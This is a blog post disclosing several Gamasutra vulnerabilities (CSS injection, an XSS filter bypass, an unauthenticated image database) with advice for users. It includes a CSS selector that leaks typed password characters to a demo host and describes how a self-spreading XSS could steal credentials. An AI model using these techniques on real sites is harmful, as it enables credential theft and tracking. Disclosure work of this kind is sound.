Disclosing Multiple Gamasutra Vulnerabilities

After a multi-year responsible disclosure period, I am publicly disclosing 4 different Gamasutra vulnerabilities.

Update: I've talked with UBM's security team, they are currently working on fixes and say that they'll have more updates within around 7 days. I'll update this post with any new information as I get it.

Some brief background I reported the majority of the vulnerabilities below to Gamasutra in early 2016, following up multiple times with multiple members of Gamasutra's security team. Eventually, updates were made to the site which I was told would correct the problem. Responsible disclosure periods often range between security researchers, but in general the advice I've gotten has been to wait 2 weeks to 120 days. Because I am not a security researcher, I kept them private between me and the company for over 2 years. It was a mistake for me to wait this long. Part of responsible disclosure is publicly releasing information, even after vulnerabilities have been fixed. I held out hope for too long that the remaining problems would be fixed if just waited longer. Two months ago I accidentally discovered another severe vulnerability while authoring a blog post. I sent another email and was assured that engineers would look into it. Recently I checked back in and I discovered that none of security holes I disclosed were ever actually plugged. Even in the single case where Gamasutra made an effort to correct the problem, the solution was halfhearted and wildly insufficient. I am publicly disclosing all of the vulnerabilities in the hope that this encourages Gamasutra to fix them properly. Wherever researching or probing a vulnerability would force me to touch data that did not belong to me or to exploit another user in any way, I declined to do so. Some of the vulnerabilities listed below have had some details omitted in order to make them at least a bit harder for malicious actors reverse engineer and exploit.

CSS injection vulnerability within posts Gamasutra allows posts to edit raw HTML. This is somewhat unusual for a blogging platform, but not unprecedented. However, Gamasutra also supports style tags within a post's HTML. Because Gamasutra blog posts are not embedded in iframes or otherwise isolated from the host page, users are able to use CSS to override first-party page styles. The largest risk here is defacement and phishing. A user could hide elements of the Gamasutra website (including ads, banner elements, and other links) or they could replace them with custom content. Because HTML is allowed within posts, otherwise invisible link tags can be positioned over these elements. Ever wanted to advertise your game on Gamasutra? Turns out you can, at least on articles that you write. Outside of the obvious exploits, there are a few more obscure attacks that can be leveraged with pure CSS access, even without taking any advantage of custom HTML elements. This is because CSS properties have the ability to link to external resources. This can be be exploited to enable behavioral tracking. #link2 :active ::after { content : url ( "track.php?action=link2_clicked" ); } It can also be used to record user passwords. input [type="password"] [value$="a"] { background-image : url ( "http://localhost:3000/a" ); } To be vulnerable to this attack a user would need to visit the post while logged out and log in on that same page. So while this is an attack vector worth protecting against, it's far less dangerous than a standard phishing attack.

XSS vulnerability within posts It is, however, much easier to steal credentials with Javascript than with CSS. When I first contacted Gamasutra about these vulnerabilities, <script> tags were not being blocked at all. Since then, Gamasutra has made some effort to strip scripts and other Javascript from user posts. However, it is trivial to bypass this restriction. While I won't mention the exact method, Gamasutra's parsing seems to based on a few half-hearted regular expressions. It only took a few hours to find holes in their system, and the majority of that time was spent waiting for my posts to properly save and load. Similar to the CSS vulnerabilities I listed above, this opens the door to 3rd party tracking and monitoring. But tracking is only the start. Since Gamasutra's blog posts are not isolated from the main page, inserted scripts are free to make network requests on behalf of a signed-in user. An attacker can read private information from a user's profile, post comments on their behalf, save their login credentials, or even silently change their password directly from the user's own browser. Gamasutra does not restrict requests to other domains, so scripts can be loaded remotely and can communicate with any other server online. Stealing a user's credentials means that an attacker gets edit access to that user's blog posts. This means that a script can "infect" other user accounts, inserting itself into their posts to silently spread itself across the site. Because it's unlikely for users and administrators to regularly check old articles for edits, a careful attacker could silently infect old content for some time — redirecting ads, defacing and editing old content, trolling for personal information, stealing user CPU cycles or network access, and just generally tracking users as they browse.

Lack of database authentication The most troubling vulnerability I found was that Gamasutra gives logged-out users full access to its site-wide image database. Details on this specific vulnerability are being kept deliberately sparse, because there's no way I can provide them without violating user privacy or making it completely obvious how to replicate the attack. I'm not sure if querying what is essentially a public database even counts as hacking, but once I realized the extent of my access, I tried to avoid looking at any data that did not explicitly belong to me. As a result, I don't know the full extent of how much damage a malicious user could do. Determining what parts of Gamasutra could be attacked would have required me to touch other people's data without their permission. However, I suspect that this database contains at least: images for any native advertising that Gamasutra runs.

every image that anyone has ever uploaded to a blog post.

images included in job postings.

images included in drafts and future job postings. I confirmed that I was able to view, upload, delete, and rename images from one of my own blog posts. I also confirmed that once Gamasutra's cache expired, the new replacement images were served as normal.

User mitigation Don't use Gamasutra. Don't make an account. Don't comment on articles. Don't post articles. Don't post jobs. Don't apply to jobs. This should be the default response for most people. However, in the case that you can't stop using the site, at least limit your logged-in time. Only log in when you are posting content. Never read another person's blog post or article while logged in. I've used flashy examples to showcase these attacks, but real-world black-hat attackers are subtle. You won't notice them. Don't store personal or confidential information on your Gamasutra account, even if it looks like that information is private. Don't leave blog posts or job postings in draft states, publish them as soon as you're done writing. If you signed up for Gamasutra a long time ago, you may not remember that the signup process required you to list both a business phone number and a physical business address. This is very likely your home address and personal number. The XSS attack I list above can easily access and record all of this information. Since you're not allowed to leave these fields blank, you should lie and fill in a fake address/number. This is a good habit to get into in general when signing up for new services online. Don't freely give businesses the information that would be necessary to dox you. If you are an EU citizen, you may also be able to file a request under GDPR to learn what information UBM (Gamasutra's parent company) has collected about you and to ask them to delete it. If you do file a request, contact me and let me know what response you get back — I'm curious. Bear in mind that GDPR will only protect you from compliant companies who operate in the EU. If a malicious party gets a hold of your information, GDPR isn't going to make that information go away — so you should still get in the habit of giving companies fake information where possible. Finally, you should consider buying a VPN. I won't give a specific recommendation, but you can find comparisons and breakdowns online. VPNs get a lot of flack in the privacy community as a flawed solution to ISP tracking, and much of that criticism is warranted. However, using a VPN protects you against a much broader range of attackers than just your ISP. Connecting to a website directly from your ISP allows that website to log your approximate location and more easily fingerprint you. In the case of Gamasutra, that IP address is publicly available. Commenting without a VPN doesn't just mean your ISP and a couple of ad networks can track you. It means everyone can track you.